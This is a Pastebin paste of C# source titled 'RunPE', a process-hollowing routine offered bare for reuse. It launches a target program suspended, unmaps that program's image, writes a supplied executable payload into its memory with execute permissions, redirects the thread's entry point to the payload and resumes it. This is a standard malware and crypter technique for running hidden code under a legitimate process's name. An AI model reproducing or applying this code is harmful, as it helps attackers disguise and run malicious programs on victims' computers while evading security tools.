Advertisement
Guest User

RunPE #1

a guest
Aug 16th, 2012
1,543
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 11.19 KB | None | 0 0
  1. using System;
  2. using System.Runtime.InteropServices;
  3. using System.Security;
  4.  
  5. [SuppressUnmanagedCodeSecurity]
  6. public static class Runpe
  7. {
  8.     #region Win32 Funcs
  9.  
  10.     [DllImport("kernel32.dll")]
  11.     static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
  12.  
  13.     [DllImport("kernel32.dll")]
  14.     static extern bool CreateProcess(string lpApplicationName, string commandLine, int processAttributes, int threadAttributes,
  15.                                     bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref STARTUPINFO startupInfo,
  16.                                         out PROCESS_INFORMATION processInformation);
  17.  
  18.     [DllImport("kernel32.dll")]
  19.     static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, int dwSize, out int lpNumberOfBytesRead);
  20.  
  21.     [DllImport("kernel32.dll", SetLastError = true)]
  22.     static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, out uint lpNumberOfBytesWritten);
  23.  
  24.     [DllImport("kernel32.dll")]
  25.     static extern bool GetThreadContext(IntPtr hThread, ref  CONTEXT lpContext);
  26.  
  27.     [DllImport("kernel32.dll")]
  28.     static extern bool SetThreadContext(IntPtr hThread, ref  CONTEXT lpContext);
  29.  
  30.     [DllImport("kernel32.dll")]
  31.     static extern int SuspendThread(IntPtr hThread);
  32.  
  33.     [DllImport("kernel32.dll")]
  34.     static extern int ResumeThread(IntPtr hThread);
  35.  
  36.     [DllImport("kernel32.dll")]
  37.     static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress,
  38.        IntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
  39.  
  40.     [DllImport("kernel32.dll")]
  41.     static extern uint VirtualQueryEx(IntPtr hProcess, IntPtr lpAddress,
  42.        out MEMORY_BASIC_INFORMATION lpBuffer, int dwLength);
  43.  
  44.     [DllImport("kernel32.dll", SetLastError = true)]
  45.     static extern IntPtr VirtualAlloc(IntPtr address, int numBytes, int commitOrReserve, int pageProtectionMode);
  46.  
  47.     [DllImport("ntdll.dll")]
  48.     static extern int ZwUnmapViewOfSection(IntPtr hProcess, IntPtr BaseAddress);
  49.  
  50.  
  51.     #endregion
  52.  
  53.     #region Proc & Mem Strucs
  54.  
  55.     [StructLayout(LayoutKind.Sequential)]
  56.     struct PROCINFO
  57.     {
  58.         public uint baseAddr;
  59.         public uint imageSize;
  60.     }
  61.  
  62.     [StructLayout(LayoutKind.Sequential)]
  63.     struct PROCESS_INFORMATION
  64.     {
  65.         public IntPtr hProcess;
  66.         public IntPtr hThread;
  67.         public int dwProcessId;
  68.         public int dwThreadId;
  69.     }
  70.  
  71.  
  72.     [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
  73.     struct STARTUPINFO
  74.     {
  75.         public Int32 cb;
  76.         public string lpReserved;
  77.         public string lpDesktop;
  78.         public string lpTitle;
  79.         unsafe fixed byte unused[52];
  80.     }
  81.  
  82.     [StructLayout(LayoutKind.Sequential)]
  83.     struct CONTEXT
  84.     {
  85.         public uint ContextFlags;
  86.         unsafe fixed byte unused[160];
  87.         public uint Ebx;
  88.         public uint Edx;
  89.         public uint Ecx;
  90.         public uint Eax;
  91.         unsafe fixed byte unused2[24];
  92.     }
  93.  
  94.     [StructLayout(LayoutKind.Sequential)]
  95.     struct MEMORY_BASIC_INFORMATION
  96.     {
  97.         public uint BaseAddress;
  98.         public uint AllocationBase;
  99.         public uint AllocationProtect;
  100.         public uint RegionSize;
  101.         public uint State;
  102.         public uint Protect;
  103.         public uint lType;
  104.     }
  105.  
  106.     #endregion
  107.  
  108.     #region PE Structs
  109.     [StructLayout(LayoutKind.Sequential)]
  110.     struct MZHeader
  111.     {
  112.         public ushort signature;
  113.         unsafe fixed byte unused[58];
  114.         public uint offsetToPE;
  115.     }
  116.  
  117.     [StructLayout(LayoutKind.Sequential)]
  118.     struct PE_Header
  119.     {
  120.         public uint signature;
  121.         public ushort machine;
  122.         public ushort numSections;
  123.         public uint timeDateStamp;
  124.         public uint pointerToSymbolTable;
  125.         public uint numOfSymbols;
  126.         public ushort sizeOfOptionHeader;
  127.         public ushort characteristics;
  128.     };
  129.  
  130.     [StructLayout(LayoutKind.Sequential)]
  131.     struct PE_ExtHeader
  132.     {
  133.         public ushort magic;
  134.         public byte majorLinkerVersion;
  135.         public byte minorLinkerVersion;
  136.         public uint sizeOfCode;
  137.         public uint sizeOfInitializedData;
  138.         public uint sizeOfUninitializedData;
  139.         public uint addressOfEntryPoint;
  140.         public uint baseOfCode;
  141.         public uint baseOfData;
  142.         public uint imageBase;
  143.         public uint sectionAlignment;
  144.         public uint fileAlignment;
  145.         unsafe fixed byte unused[16];
  146.         public uint sizeOfImage;
  147.         public uint sizeOfHeaders;
  148.         unsafe fixed byte unused2[160];
  149.     }
  150.  
  151.  
  152.     [StructLayout(LayoutKind.Sequential)]
  153.     struct SectionHeader
  154.     {
  155.         public long sectionName;
  156.         public uint virtualSize;
  157.         public uint virtualAddress;
  158.         public uint sizeOfRawData;
  159.         public uint pointerToRawData;
  160.         unsafe fixed byte unused[16];
  161.     }
  162.     #endregion
  163.  
  164.     static unsafe int ReadPeInfo(byte[] data, out MZHeader mzH, out PE_Header peH, out PE_ExtHeader peXH, out SectionHeader[] secHdrs)
  165.     {
  166.         fixed (byte* dPtr = data)
  167.         {
  168.             int imgSize = -1;
  169.  
  170.             mzH = new MZHeader();
  171.             peH = new PE_Header();
  172.             peXH = new PE_ExtHeader();
  173.             secHdrs = null;
  174.  
  175.             if (data.Length < sizeof(MZHeader))
  176.                 return imgSize;
  177.  
  178.  
  179.             mzH = *(MZHeader*)dPtr;
  180.  
  181.             if (mzH.signature != 0x5a4d || data.Length < mzH.offsetToPE + sizeof(PE_Header))
  182.                 return imgSize;
  183.  
  184.  
  185.             peH = *(PE_Header*)&dPtr[mzH.offsetToPE];
  186.  
  187.             if (peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
  188.                 return imgSize;
  189.  
  190.             peXH = *(PE_ExtHeader*)&dPtr[mzH.offsetToPE + sizeof(PE_Header)];
  191.             secHdrs = new SectionHeader[peH.numSections];
  192.  
  193.             imgSize = (int)getAlignedSize(peXH.sizeOfHeaders, peXH.sectionAlignment);
  194.  
  195.             for (int i = 0; i < secHdrs.Length; i++)
  196.             {
  197.                 secHdrs[i] = *(SectionHeader*)&dPtr[mzH.offsetToPE + sizeof(PE_Header) + sizeof(PE_ExtHeader) + (i * sizeof(SectionHeader))];
  198.  
  199.                 if (secHdrs[i].virtualSize != 0)
  200.                     imgSize += (int)getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment);
  201.             }
  202.  
  203.             return imgSize;
  204.         }
  205.     }
  206.  
  207.     static unsafe void LoadPe(byte[] peBytes, MZHeader mzH, PE_Header peH, PE_ExtHeader peXH, SectionHeader[] secHdrs, IntPtr memPtr)
  208.     {
  209.         byte* ptr = (byte*)(void*)memPtr;
  210.  
  211.         uint hdrSize = peXH.sizeOfHeaders;
  212.  
  213.         for (int i = 0; i < secHdrs.Length; i++)
  214.         {
  215.             if (secHdrs[i].pointerToRawData < hdrSize)
  216.                 hdrSize = secHdrs[i].pointerToRawData;
  217.         }
  218.  
  219.         Marshal.Copy(peBytes, 0, memPtr, (int)hdrSize);
  220.  
  221.         ptr += (int)getAlignedSize(peXH.sizeOfHeaders, peXH.sectionAlignment);
  222.         for (int i = 0, copySize; i < secHdrs.Length; i++)
  223.         {
  224.             if (secHdrs[i].sizeOfRawData > 0)
  225.             {
  226.                 copySize = (int)(secHdrs[i].sizeOfRawData > secHdrs[i].virtualSize ? secHdrs[i].virtualSize : secHdrs[i].sizeOfRawData);
  227.  
  228.                 Marshal.Copy(peBytes, (int)secHdrs[i].pointerToRawData, (IntPtr)ptr, copySize);
  229.                 ptr += (int)getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment);
  230.             }
  231.             else if (secHdrs[i].virtualAddress != 0)
  232.             {
  233.                 ptr += (int)getAlignedSize(secHdrs[i].virtualSize, peXH.sectionAlignment);
  234.             }
  235.         }
  236.     }
  237.  
  238.     static unsafe bool CreateChild(out PROCESS_INFORMATION pInfo, out PROCINFO cInfo, out CONTEXT ctx, string target)
  239.     {
  240.         STARTUPINFO sInfo = new STARTUPINFO();
  241.         ctx = new CONTEXT { ContextFlags = 0x10007 };
  242.         cInfo = new PROCINFO();
  243.  
  244.         if (CreateProcess(target, null, 0, 0, false, 4, IntPtr.Zero, null, ref sInfo, out pInfo))
  245.         {
  246.             GetThreadContext(pInfo.hThread, ref ctx);
  247.  
  248.             uint* pebInfo = (uint*)ctx.Ebx;
  249.             int read = 0;
  250.  
  251.             fixed (PROCINFO* cInfoPtr = &cInfo)
  252.             {
  253.                 ReadProcessMemory(pInfo.hProcess, (IntPtr)(&pebInfo[2]), (IntPtr)(&cInfoPtr->baseAddr), 4, out read);
  254.             }
  255.  
  256.             uint curAddr = cInfo.baseAddr;
  257.             MEMORY_BASIC_INFORMATION memInfo = new MEMORY_BASIC_INFORMATION();
  258.  
  259.             while (VirtualQueryEx(pInfo.hProcess, (IntPtr)curAddr, out memInfo, sizeof(MEMORY_BASIC_INFORMATION)) != 0)
  260.             {
  261.                 if (memInfo.State == 0x10000)
  262.                     break;
  263.                 curAddr += memInfo.RegionSize;
  264.             }
  265.  
  266.             cInfo.imageSize = curAddr - cInfo.baseAddr;
  267.             return true;
  268.         }
  269.         return false;
  270.     }
  271.  
  272.     static unsafe bool DoFork(MZHeader mzH, PE_Header peH, PE_ExtHeader peXH, SectionHeader[] secHdrs, IntPtr memPtr, int imgSize, string target)
  273.     {
  274.         PROCESS_INFORMATION pInfo;
  275.         CONTEXT ctx;
  276.         PROCINFO cInfo;
  277.  
  278.         if (!CreateChild(out pInfo, out cInfo, out ctx, target))
  279.         {
  280.             return false;
  281.         }
  282.  
  283.         IntPtr v = IntPtr.Zero;
  284.  
  285.         if (peXH.imageBase == cInfo.baseAddr && imgSize <= cInfo.imageSize)
  286.         {
  287.             v = (IntPtr)cInfo.baseAddr;
  288.             uint oldP;
  289.             VirtualProtectEx(pInfo.hProcess, (IntPtr)cInfo.baseAddr, (IntPtr)cInfo.imageSize, 0x40, out oldP);
  290.         }
  291.         else if (ZwUnmapViewOfSection(pInfo.hProcess, (IntPtr)cInfo.baseAddr) == 0)
  292.         {
  293.             v = VirtualAllocEx(pInfo.hProcess, (IntPtr)peXH.imageBase, (uint)imgSize, 0x3000, 0x40);
  294.         }
  295.  
  296.         if (v != IntPtr.Zero)
  297.         {
  298.             uint* pebInfo = (uint*)ctx.Ebx;
  299.             uint wrote = 0;
  300.  
  301.             WriteProcessMemory(pInfo.hProcess, (IntPtr)(&pebInfo[2]), (IntPtr)(&v), 4, out wrote);
  302.  
  303.             if (!WriteProcessMemory(pInfo.hProcess, v, memPtr, (uint)imgSize, out wrote))
  304.             {
  305.                 return false;
  306.             }
  307.  
  308.             ctx.Eax = (uint)((uint)v == cInfo.baseAddr ? peXH.imageBase + peXH.addressOfEntryPoint : v.ToInt32() + peXH.addressOfEntryPoint);
  309.             SetThreadContext(pInfo.hThread, ref ctx);
  310.             ResumeThread(pInfo.hThread);
  311.             return true;
  312.         }
  313.  
  314.         return false;
  315.     }
  316.  
  317.     static uint getAlignedSize(uint curSize, uint alignment)
  318.     {
  319.         return curSize % alignment == 0 ? curSize : ((curSize / alignment) + 1) * alignment;
  320.     }
  321.  
  322.     public static bool Run(byte[] data, string target)
  323.     {
  324.         if (data == null || target == null)
  325.         {
  326.             return false;
  327.         }
  328.  
  329.         MZHeader mzH;
  330.         PE_Header peH;
  331.         PE_ExtHeader peXH;
  332.         SectionHeader[] secHdrs;
  333.  
  334.         int imgSize = ReadPeInfo(data, out mzH, out peH, out peXH, out secHdrs);
  335.  
  336.         if (imgSize < 0)
  337.         {
  338.             return false;
  339.         }
  340.  
  341.         IntPtr memPtr = VirtualAlloc(IntPtr.Zero, imgSize, 0x1000, 0x40);
  342.  
  343.         if (memPtr == IntPtr.Zero)
  344.         {
  345.             return false;
  346.         }
  347.  
  348.         LoadPe(data, mzH, peH, peXH, secHdrs, memPtr);
  349.  
  350.         return DoFork(mzH, peH, peXH, secHdrs, memPtr, imgSize, target);
  351.     }
  352. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement